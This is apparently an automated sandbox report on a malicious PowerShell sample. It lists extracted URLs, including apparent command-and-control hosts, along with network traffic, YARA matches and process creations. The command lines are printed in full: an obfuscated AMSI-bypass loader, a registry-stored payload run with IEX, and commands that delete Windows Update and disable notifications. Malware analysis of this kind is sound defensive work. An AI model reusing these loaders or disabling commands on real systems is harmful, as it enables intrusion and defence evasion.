Source: svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369805680.000002436863F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000000C.00000003.1367458872.0000024368641000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369864769.0000024368644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000000C.00000003.1367458872.0000024368641000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 0000000C.00000003.1367458872.0000024368641000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000C.00000002.1369864769.0000024368644000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000C.00000003.1367458872.0000024368641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=
Source: svchost.exe, 0000000C.00000002.1370146191.0000024368681000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1367935633.0000024368665000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369864769.0000024368648000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369864769.0000024368644000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1367080264.000002436865F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 0000000C.00000003.1367458872.0000024368641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369465929.000002436862B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000003.00000003.1202957032.00000212CE6E2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.3.dr, edb.log.3.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.0000000005136000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1907575581.0000000005136000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester(
Source: powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester(-c
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com%s/%s_%sntdll.dllLdrGetProcedureAddressNtUnmapViewOfSectionNtAllocateVirtualMemor
Source: powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_execution_not_detected
Source: powershell.exe, 00000004.00000002.2010194215.0000000007841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_execution_not_detected;
Source: powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_execution_not_detectedc
Source: powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_execution_not_detectedofrU
Source: powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_execution_not_detectedoj
Source: powershell.exe, 00000000.00000002.1271308420.0000016B648E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1271308420.0000016B6C5B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/a_
Source: powershell.exe, 00000000.00000002.1271308420.0000016B648E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/a_$EeUjSnjmqSzMhWKdkeXgPMsrwHCf_$ljJBxxjrzUnOIGclTEMEYOEMTCeRTIRKCBHgXbr
Source: powershell.exe, 00000000.00000002.1271308420.0000016B64852000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/a_dGVzdA==_
Source: powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/b_
Source: powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/b_$EeUjSnjmqSzMhWKdkeXgPMsrwHCf
Source: powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/b_$EeUjSnjmqSzMhWKdkeXgPMsrwHCf_$ljJBxxjrzUnOIGclTEME
Source: powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/b_dGVzdA==_
Source: powershell.exe, 00000000.00000002.1271308420.0000016B64870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://host85500.info:15322
Source: powershell.exe, 00000000.00000002.1271308420.0000016B64870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://host85500.info:15322/gauxwasdds
Source: powershell.exe, 00000000.00000002.1271308420.0000016B64870000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://host85500.info:15322/gauxwasdds(-c
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com
Source: powershell.exe, 00000004.00000002.2042932378.00000000090B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2010194215.000000000787B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/
Source: powershell.exe, 00000004.00000002.2010194215.000000000787B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/=I?T
Source: powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/stats/0.php?4926118&
Source: svchost.exe, 0000000C.00000003.1367692369.0000024368633000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.s
Source: svchost.exe, 0000000C.00000003.1367692369.0000024368633000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369657954.0000024368636000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssXhchC
Source: svchost.exe, 0000000C.00000003.1367692369.0000024368633000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic
Source: svchost.exe, 0000000C.00000003.1367692369.0000024368633000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369657954.0000024368636000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtu
Source: svchost.exe, 0000000C.00000003.1367692369.0000024368633000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtua
Source: svchost.exe, 0000000C.00000003.1367458872.0000024368641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000000C.00000003.1367692369.0000024368633000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369657954.0000024368636000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs
Source: svchost.exe, 0000000C.00000003.1367422020.000002436864D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000C.00000003.1367422020.000002436864D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000C.00000003.1367156916.000002436865D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000C.00000002.1369465929.000002436862B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 0000000C.00000003.1367692369.0000024368633000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369657954.0000024368636000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynxfchC
Source: svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000000C.00000002.1370018467.0000024368659000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.m.
Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.sysinternals.com0

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 142.4.219.198:443 -> 192.168.2.16:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.4.219.198:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.56.240.132:443 -> 192.168.2.16:49717 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 3552, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\ALSysIO64.sys

Jump to dropped file

Uses powercfg.exe to modify the power settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -hibernate off

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\ALSysIO64.sys

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg query HKCU\Software\Ucizah /v efxucieqo

Source: Process Memory Space: powershell.exe PID: 3552, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: ALSysIO64.sys.11.dr

Binary string: \Device\ALSysIO\DosDevices\ALSysIO

Source: classification engine

Classification label: mal100.troj.expl.evad.winPS1@52/17@3/4

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1608:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dkvbw1iq.qzn.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\SUS.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" $lambczojaanjr=[System.Text.Encoding]::ASCII.GetString($(gp HKCU:\Software\cudyoiiqiyyyd).iaetrrvsxsjkc); ri -Force HKCU:\Software\cudyoiiqiyyyd; IEX($lambczojaanjr)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\Sysnative\cmd.exe" /C "echo $($tiebicislihiakywle=$([Ref].Assembly.GetType('viqeempiapqylyunela'));$hatuwucehuubumag=[Ref].Assembly.GetType($((249,363,345,348,303,327,138,231,291,330,291,309,303,327,303,330,348,138,195,351,348,333,327,291,348,315,333,330,138,195,327,345,315,255,348,315,324,345)^^^\|%{[char]($_/3)})-join'');$yggugyygypylrycood=$(142 -ge 126);if($hatuwucehuubumag){$hatuwucehuubumag.GetField($((28,40,46,36,4,41,36,47,1,28,36,39,32,31)^^^\|%{[char]($_+69)})-join'',$((156,222,220,160,234,196,216,210,198,88,166,232,194,232,210,198)^^^\|%{[char]($_/2)})-join'').SetValue($tiebicislihiakywle,$yggugyygypylrycood)}; $oktoundiveemzaynfo = $('{7}{1}{4}{6}{9}{3}' -f 'n','','g','x','','i','','i','b','e','v'); $((364,332,484,460,464,404,436,184,276,440,472,420,456,444,440,436,404,440,464,372,232,232,332,404,464,276,440,472,420,456,444,440,436,404,440,464,344,388,456,420,388,392,432,404,160,156,388,432,440,388,460,468,484,456,416,484,476,444,484,452,476,404,432,444,444,480,412,484,488,484,472,156,176,128,228,208,212,212,164,236,128,144,160,364,456,404,412,404,480,372,232,232,308,388,464,396,416,160,160,364,460,464,456,420,440,412,372,144,160,396,436,400,128,188,268,128,456,404,412,128,452,468,404,456,484,128,288,300,268,340,368,332,444,408,464,476,388,456,404,368,340,396,420,488,388,416,128,188,472,128,404,408,480,468,396,420,404,452,444,164,164,176,128,156,328,276,284,380,332,360,364,128,372,172,160,184,168,164,156,164,184,284,456,444,468,448,460,364,196,372,184,344,388,432,468,404,128,496,128,292,276,352,164)^^^\|%{[char]($_/4)})-join'') ^^^\| ^^^&($oktoundiveemzaynfo) \| %WinDir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $($tiebicislihiakywle=$([Ref].Assembly.GetType('viqeempiapqylyunela'));$hatuwucehuubumag=[Ref].Assembly.GetType($((249,363,345,348,303,327,138,231,291,330,291,309,303,327,303,330,348,138,195,351,348,333,327,291,348,315,333,330,138,195,327,345,315,255,348,315,324,345)^\|%{[char]($_/3)})-join'');$yggugyygypylrycood=$(142 -ge 126);if($hatuwucehuubumag){$hatuwucehuubumag.GetField($((28,40,46,36,4,41,36,47,1,28,36,39,32,31)^\|%{[char]($_+69)})-join'',$((156,222,220,160,234,196,216,210,198,88,166,232,194,232,210,198)^\|%{[char]($_/2)})-join'').SetValue($tiebicislihiakywle,$yggugyygypylrycood)}; $oktoundiveemzaynfo = $('{7}{1}{4}{6}{9}{3}' -f 'n','','g','x','','i','','i','b','e','v'); $((364,332,484,460,464,404,436,184,276,440,472,420,456,444,440,436,404,440,464,372,232,232,332,404,464,276,440,472,420,456,444,440,436,404,440,464,344,388,456,420,388,392,432,404,160,156,388,432,440,388,460,468,484,456,416,484,476,444,484,452,476,404,432,444,444,480,412,484,488,484,472,156,176,128,228,208,212,212,164,236,128,144,160,364,456,404,412,404,480,372,232,232,308,388,464,396,416,160,160,364,460,464,456,420,440,412,372,144,160,396,436,400,128,188,268,128,456,404,412,128,452,468,404,456,484,128,288,300,268,340,368,332,444,408,464,476,388,456,404,368,340,396,420,488,388,416,128,188,472,128,404,408,480,468,396,420,404,452,444,164,164,176,128,156,328,276,284,380,332,360,364,128,372,172,160,184,168,164,156,164,184,284,456,444,468,448,460,364,196,372,184,344,388,432,468,404,128,496,128,292,276,352,164)^\|%{[char]($_/4)})-join'') ^\| ^&($oktoundiveemzaynfo) "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C reg query HKCU\Software\Ucizah /v efxucieqo
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg query HKCU\Software\Ucizah /v efxucieqo
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C sc stop wuauserv
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc stop wuauserv
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C sc config wuauserv start= disabled
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc config wuauserv start= disabled
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C sc delete wuauserv
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc delete wuauserv
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t REG_DWORD /d "1" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Explorer" /v "DisableNotificationCenter" /t REG_DWORD /d "1" /f
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /v "ToastEnabled" /t REG_DWORD /d "0" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications" /v "ToastEnabled" /t REG_DWORD /d "0" /f
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Power" /v HiberbootEnabled /t REG_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Power" /v HiberbootEnabled /t REG_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powercfg -hibernate off
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\powercfg.exe powercfg -hibernate off
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" $lambczojaanjr=[System.Text.Encoding]::ASCII.GetString($(gp HKCU:\Software\cudyoiiqiyyyd).iaetrrvsxsjkc); ri -Force HKCU:\Software\cudyoiiqiyyyd; IEX($lambczojaanjr)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $($tiebicislihiakywle=$([Ref].Assembly.GetType('viqeempiapqylyunela'));$hatuwucehuubumag=[Ref].Assembly.GetType($((249,363,345,348,303,327,138,231,291,330,291,309,303,327,303,330,348,138,195,351,348,333,327,291,348,315,333,330,138,195,327,345,315,255,348,315,324,345)^\|%{[char]($_/3)})-join'');$yggugyygypylrycood=$(142 -ge 126);if($hatuwucehuubumag){$hatuwucehuubumag.GetField($((28,40,46,36,4,41,36,47,1,28,36,39,32,31)^\|%{[char]($_+69)})-join'',$((156,222,220,160,234,196,216,210,198,88,166,232,194,232,210,198)^\|%{[char]($_/2)})-join'').SetValue($tiebicislihiakywle,$yggugyygypylrycood)}; $oktoundiveemzaynfo = $('{7}{1}{4}{6}{9}{3}' -f 'n','','g','x','','i','','i','b','e','v'); $((364,332,484,460,464,404,436,184,276,440,472,420,456,444,440,436,404,440,464,372,232,232,332,404,464,276,440,472,420,456,444,440,436,404,440,464,344,388,456,420,388,392,432,404,160,156,388,432,440,388,460,468,484,456,416,484,476,444,484,452,476,404,432,444,444,480,412,484,488,484,472,156,176,128,228,208,212,212,164,236,128,144,160,364,456,404,412,404,480,372,232,232,308,388,464,396,416,160,160,364,460,464,456,420,440,412,372,144,160,396,436,400,128,188,268,128,456,404,412,128,452,468,404,456,484,128,288,300,268,340,368,332,444,408,464,476,388,456,404,368,340,396,420,488,388,416,128,188,472,128,404,408,480,468,396,420,404,452,444,164,164,176,128,156,328,276,284,380,332,360,364,128,372,172,160,184,168,164,156,164,184,284,456,444,468,448,460,364,196,372,184,344,388,432,468,404,128,496,128,292,276,352,164)^\|%{[char]($_/4)})-join'') ^\| ^&($oktoundiveemzaynfo) "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C reg query HKCU\Software\Ucizah /v efxucieqo	Jump to behavior
